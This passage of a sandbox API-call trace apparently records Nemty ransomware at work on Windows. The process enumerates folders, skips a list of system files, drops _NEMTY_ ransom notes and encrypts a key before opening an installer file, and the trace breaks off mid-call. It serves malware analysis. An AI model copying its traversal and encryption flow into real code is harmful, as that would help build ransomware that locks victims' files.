ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0193430, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.709] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0047.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.709] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2=".") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="..") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="...") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="windows") returned -1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="$RECYCLE.BIN") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="rsa") returned -1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="NTDETECT.COM") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="ntldr") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="MSDOS.SYS") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="IO.SYS") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="boot.ini") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="boot.ini") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="AUTOEXEC.BAT") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="ntuser.dat") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="desktop.ini") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="CONFIG.SYS") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="RECYCLER") returned -1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="BOOTSECT.BAK") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="bootmgr") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="programdata") returned 1 [0047.709] lstrcmpiW (lpString1="Proof.fr", lpString2="appdata") returned 1 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.fr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.fr", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.fr", lpUsedDefaultChar=0x0) returned 8 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.fr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.fr", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.fr", lpUsedDefaultChar=0x0) returned 8 [0047.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94230 [0047.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0047.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0047.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.710] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0047.711] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.711] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.711] CloseHandle (hObject=0x3c8) returned 1 [0047.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0047.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0047.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0047.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0047.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0047.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340250 [0047.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0047.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0047.713] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.713] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0047.714] CloseHandle (hObject=0x3c8) returned 1 [0047.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0047.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0047.714] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd022b9b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd022b9b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0047.714] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.714] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd022b9b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd022b9b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.714] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.714] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.714] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.714] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1 [0047.714] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1 [0047.714] lstrcmpiW (lpString1="Proof.cab", lpString2="...") returned 1 [0047.714] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1 [0047.714] lstrcmpiW (lpString1="Proof.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="rsa") returned -1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="NTDETECT.COM") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="ntldr") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="MSDOS.SYS") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="IO.SYS") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="boot.ini") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="boot.ini") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="desktop.ini") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="CONFIG.SYS") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="RECYCLER") returned -1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="programdata") returned 1 [0047.715] lstrcmpiW (lpString1="Proof.cab", lpString2="appdata") returned 1 [0047.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0047.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0047.716] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="...") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="rsa") returned -1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="NTDETECT.COM") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="ntldr") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="MSDOS.SYS") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="IO.SYS") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="boot.ini") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="boot.ini") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="desktop.ini") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="CONFIG.SYS") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="RECYCLER") returned -1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="programdata") returned 1 [0047.716] lstrcmpiW (lpString1="Proof.msi", lpString2="appdata") returned 1 [0047.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0047.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0047.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0047.717] Sleep (dwMilliseconds=0x5) [0047.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0251b10, dwHighDateTime=0x1d561e7)) [0047.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0251b10, dwHighDateTime=0x1d561e7)) [0047.718] GetLastError () returned 0xb7 [0047.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.718] GetLastError () returned 0xb7 [0047.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0047.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0047.719] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0047.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0047.719] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653ec5c | out: pszString="dJEzsa8bZDXPfSmhtWZzkHsG4MI2AKyDeSUnVaF52TaCpjN/GiyaG9mDjhjGM5O0\r\nQ4/fZSJvHgg869Rfb/Jm44oJPjAcXC+lvTUn8wKqRM4oTnQWzRcOYnlBo89hT3/X\r\nxLpXtnQrLdAviuaUPUEELC6OPp/8ZDNyVm3nmGkwyOlPqUxISZ3oeEpLR2KPHWyV\r\nryD+cJ9yjeY54Lp+8qi8Q8r8bwWgqW0FjMbsdHOc1NSj90aptnfrtLzmmCoRWUF6\r\nD8qnF0V5e/tE0xaQpuRdmhdMjGs8FlFPmc4TAzy0ARGWGOHlaRsNWYNdXhTCaFIJ\r\ngae2HFofv8aylrANIVz1Dg==\r\n", pcchString=0x653ec5c) returned 1 [0047.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0047.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0047.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0047.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6344160 [0047.719] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all 